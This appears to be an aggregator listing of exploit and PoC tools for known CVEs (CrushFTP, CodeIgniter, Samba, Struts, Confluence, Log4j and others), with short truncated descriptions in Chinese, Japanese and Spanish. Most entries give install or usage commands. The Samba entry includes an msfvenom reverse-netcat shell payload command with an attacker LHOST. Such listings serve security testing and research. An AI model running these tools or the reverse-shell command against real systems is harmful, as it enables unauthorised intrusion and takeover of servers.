CVE-2024-4040

CVE-2024-4040 CrushFTP の全バージョン（10.7.1 および 11.1.0 より前）におけるサーバーサイドテンプレートインジェクションの脆弱性により、認証されていないリモート攻撃者が VFS サンドボックス外のファイルシステムからファイルを読み取り、認証をバイパスして管理者権限を取得し、サーバー上でリモートコードを実行することが可能です。 インストール git clone https://github.com/gotr00t0day/CVE-2024-4040.git cd CVE-2024-4040 pip3 instrall -r requirements.tx...

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 文件上传 RCE CVSS 9.8（严重） | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE-434 ：危险类型文件的不受限制上传 修复版本 ：CodeIgniter 4 v4.7.4 安全公告 ：GHSA-mmj4-63m4-r6h5 漏洞摘要 CodeIgniter 4 的 isimage 和 mimein 文件上传验证规则仅检查基于内容派生的 MIME 类型 （魔数），而不检查 客户端提供的文件扩展名。 未认证的攻击者可以在 PHP webshell...

smb-usermap

Samba "username map script" 命令执行 该模块利用了 Samba 3.0.20 至 3.0.25rc3 版本中，在使用非默认的 "username map script" 配置选项时存在的命令执行漏洞。通过指定包含 shell 元字符的用户名，攻击者可以执行任意命令。由于该选项用于在认证之前映射用户名，因此利用此漏洞无需认证！ 1. 创建 Shellcode root@kitploit: msfvenom -p cmd/unix/reversenetcat LHOST=10.10.14.56 LPORT=5555 -f python 2. Netcat 监听器...

st2-048

St2-048 远程代码执行漏洞 Apache Struts 2 的 Struts 2.3.x 系列中，Struts 1 插件示例（Struts Showcase 应用）可能存在 RCE http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 用法： root@kitploit: python St2-048.py set url : http://xx.xx.xx.xx:port/integration/saveGangster.action cmd ...

CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-

CVE-2025-64512 - pdfminer.six 远程代码执行 RCE -orange 警告 – 仅限教育用途 此概念验证仅用于授权的安全测试和教育目的。 仅可在您拥有或已获得明确书面许可的系统上使用。作者不对因使用此代码而造成的任何滥用或损害负责。 描述 CVE-2025-64512 是 pdfminer.six 中的一个严重漏洞，pdfminer.six 是一个用于从 PDF 文件中提取文本和元数据的流行 Python 库。该缺陷允许在处理恶意 PDF 时，通过不安全地反序列化 pickle 数据实现远程代码执行 RCE 。 漏洞类型 ：不安全的反序列化 CWE-502...

CVE-2025-55182

CVE-2025-55182 — React2Shell 针对 CVE-2025-55182 的交互式利用工具 🧠 什么是 CVE-2025-55182？ React2Shell 利用的是 React Server Components 中的一个严重远程代码执行（RCE）漏洞。 如果目标运行的是 React 19（或基于 RSC 构建的框架，如 Next.js），则可能易受攻击。 ⚠️ 免责声明 仅用于教育和授权渗透测试目的 。 📦 安装 root@kitploit: git clone...

firepwner

CVE-2015-6357：针对 Cisco FireSIGHT 管理中心 SSL 验证漏洞的 FirePWNER 漏洞利用程序 简介 单独来看，Cisco FireSIGHT 管理中心证书验证漏洞是一个中等 严重性漏洞，CVSS 评分为 5.1 。然而，该漏洞恰好说明了 SSL 证书验证为何如此重要。在本次漏洞利用中，我将演示如何利用该漏洞在 Cisco FireSIGHT 系统上获得特权远程命令执行。该漏洞利用将 SSL 验证漏洞与 Cisco FireSIGHT 系统的软件更新流程串联起来，诱骗目标系统下载恶意更新并执行它，从而获得具有 root 权限的反向 Shell。 漏洞...

CVE-2018-14667-poc

CVE-2018-14667-poc Richfaces脆弱性環境及びPoC ターゲット環境：vulenvironment内のwarファイルをそのままtomcatに配置すれば完了 PoC root@kitploit: build:build artifactId run:java -jar CVE-2018-14667-poc.jar "cmd" デバッグについて vulenvironment内のwarファイルを解凍し、ideaからインポートし、tomcatのlibをライブラリパスに追加するだけ リクエストデモ： root@kitploit: GET...

CVE-2022-26134

CVE-2022-26134 Confluence 未认证对象图导航语言（OGNL）注入 Confluence 是 Atlassian 开发的一款基于 Web 的工作区协作产品。它可以本地部署，也可以作为 Atlassian Cloud 的一部分使用。它由 3 个关键部分组成：页面、空间和页面树。 页面：你的内容存在于页面中——这些是你可以在 Confluence 站点上创建的动态文档。你几乎可以为任何内容创建页面，从项目计划到会议记录、故障排查指南、策略等。 空间：页面存储在空间中——你可以在这些工作区内协作工作并保持所有内容井然有序。...

CVE-2024-55187

摘要 敏感的管理参数未得到充分清理，导致攻击者能够污染指向系统二进制文件的路径。 随后，攻击者可以上传危险的 CSV 文件，这些文件可被当作包含 shell 元字符的 PHAR 归档处理，并由 PHP 的 exec 调用执行，从而实现远程代码执行。 影响 服务器被接管 拒绝服务 数据丢失 CVSS 评分 严重 - 9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 详情 在文件 functions/classes/class.Scan.php 中，我们可以看到以下代码结构： exec 调用的第一个参数直接依赖于 $pingpath...

CVE-2025-20281-Cisco

CVE-2025-20281 - Cisco ISE RCE 脆弱性チェッカー このスクリプトは、Cisco Identity Services Engine ISE および ISE-PIC に CVE-2025-20281 脆弱性が存在するかどうかをチェックします。この脆弱性は、特定の API における入力検証の不備により、認証不要のリモートコード実行 RCE を root 権限で可能にするものです。 このツールは、許可されたセキュリティテストおよび教育目的のみで使用することを意図しています。所有していない、またはテストの許可を得ていないシステムに対して使用しないでください。...

CVE-2023-48795

CVE-2023-48795 用 OpenSSH 脆弱性スキャナ このPythonベースのツールは、システムのOpenSSHインストールをスキャンし、CVE-2023-48795 （OpenSSH 9.6 より前のバージョンに影響する重大な脆弱性）に対して脆弱かどうかをチェックします。スクリプトは、スキャンされたシステムの詳細なレポートを提供し、脆弱性が見つかった場合はアップグレードの推奨事項を含みます。 CVE-2023-48795: 脆弱性の概要 CVE ID : CVE-2023-48795 説明 : OpenSSH...

log4j-shell-csw

Log4j シンプルなエクスプロイト CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。 Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。 注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所（HTTP ヘッダー/チャット/等）に注入するのはユーザーの責任です。 前提条件 python3 p...

LongBow

Archer TP-Link VR1600V 路由器本地远程命令执行漏洞利用（CVE-2023-31756） 概述 此 Python 脚本演示了 Archer TP-Link VR1600V V1/V2 路由器中的一个本地远程命令执行漏洞。该漏洞利用程序可获取路由器操作系统级别的管理员访问权限。借助此访问权限，您可以重新启用 OpenVPN 服务器，以及禁用 CWMP 和其他在 Web 门户中被限制的管理任务。 前提条件 在使用此脚本之前，请确保满足以下前提条件： 您的系统已安装 Python 3.x。 拥有 Archer TP-Link V1/V2...

weblogic_wls_wsat_rce

weblogicwlswsatrce Weblogic wls-wsatコンポーネントの逆シリアル化の脆弱性CVE-2017-10271を利用するスクリプト。https://github.com/s3xy/CVE-2017-10271を参考に修正した。 コマンド実行と結果表示 シェルを直接アップロード Linux上のweblogic 10.3.6.0でテストOK 使用方法およびパラメータ python weblogicwlswsatexp.py -t 172.16.80.131:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t...

CVE-2024-7120

Inyección de Comandos en Dispositivos Raisecom CVE-2024-7120 ¡Prueba de concepto! Resumen Se ha identificado una vulnerabilidad de inyección de comandos en los dispositivos Gateway de RAISECOM, que afecta a los modelos MSG1200, MSG2100E, MSG2200 y MSG2300. Esta vulnerabilidad permite a atacantes...

Graver

Graver 描述 针对 Grav CMS 中已认证的 SSTI+RCE 漏洞（CVE-2024-28116）的概念验证（PoC）脚本。 该脚本会在运行存在漏洞的 Grav CMS 的服务器上创建一个恶意的 RCE 页面。 参考： https://nvd.nist.gov/vuln/detail/CVE-2024-28116 备注 由于这是一个已认证漏洞，因此需要使用 Grav CMS 编辑者用户的有效凭据（在脚本中硬编码这些凭据）。 用法 以下是该工具的一个使用示例： root@kitploit: python3 graver.py -t -p 包含返回输出的简单示例：...

CVE-2021-44228-log4jVulnScanner-metasploit

CVE-2021-44228-log4jVulnScanner-metasploit Log4J RCE CVE-2021-44228 の脆弱性を発見しファジングするためのオープンな検出・スキャンツール 準備 POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd CVE-2021-44228-log4jVulnScanner-metasploit mkdir -p...

php-8.1.0-dev-backdoor-rce

PHP 8.1.0-dev 后门远程代码执行 PHP 8.1.0-dev 后门系统 Shell 脚本 PHP 8.1.0-dev 版本于 2021 年 3 月 28 日发布时内置了一个后门，但该后门很快被发现并移除。如果服务器运行此版本的 PHP，攻击者可通过发送 User-Agentt 头来执行任意代码。 问题被发现后，原始代码已被恢复，但随后又遭到第二次篡改。该入侵会在任何运行了被篡改版本 PHP 的网站上创建后门，使黑客能够在站点上执行远程代码。 阅读完整文章：https://flast101.github.io/php-8.1.0-dev-backdoor-rce/ POC 脚本...

tinyfilemanager-2.4.3-exploit

CVE-2021-45010 Tiny File Manager-2.4.3 漏洞利用 Tiny File Manager 项目的 Tiny File Manager = 2.4.6 中 tinyfilemanager.php 的文件上传功能存在路径遍历漏洞，允许具有有效用户账户的远程攻击者将恶意 PHP 文件上传到 webroot，并在目标服务器上实现代码执行。...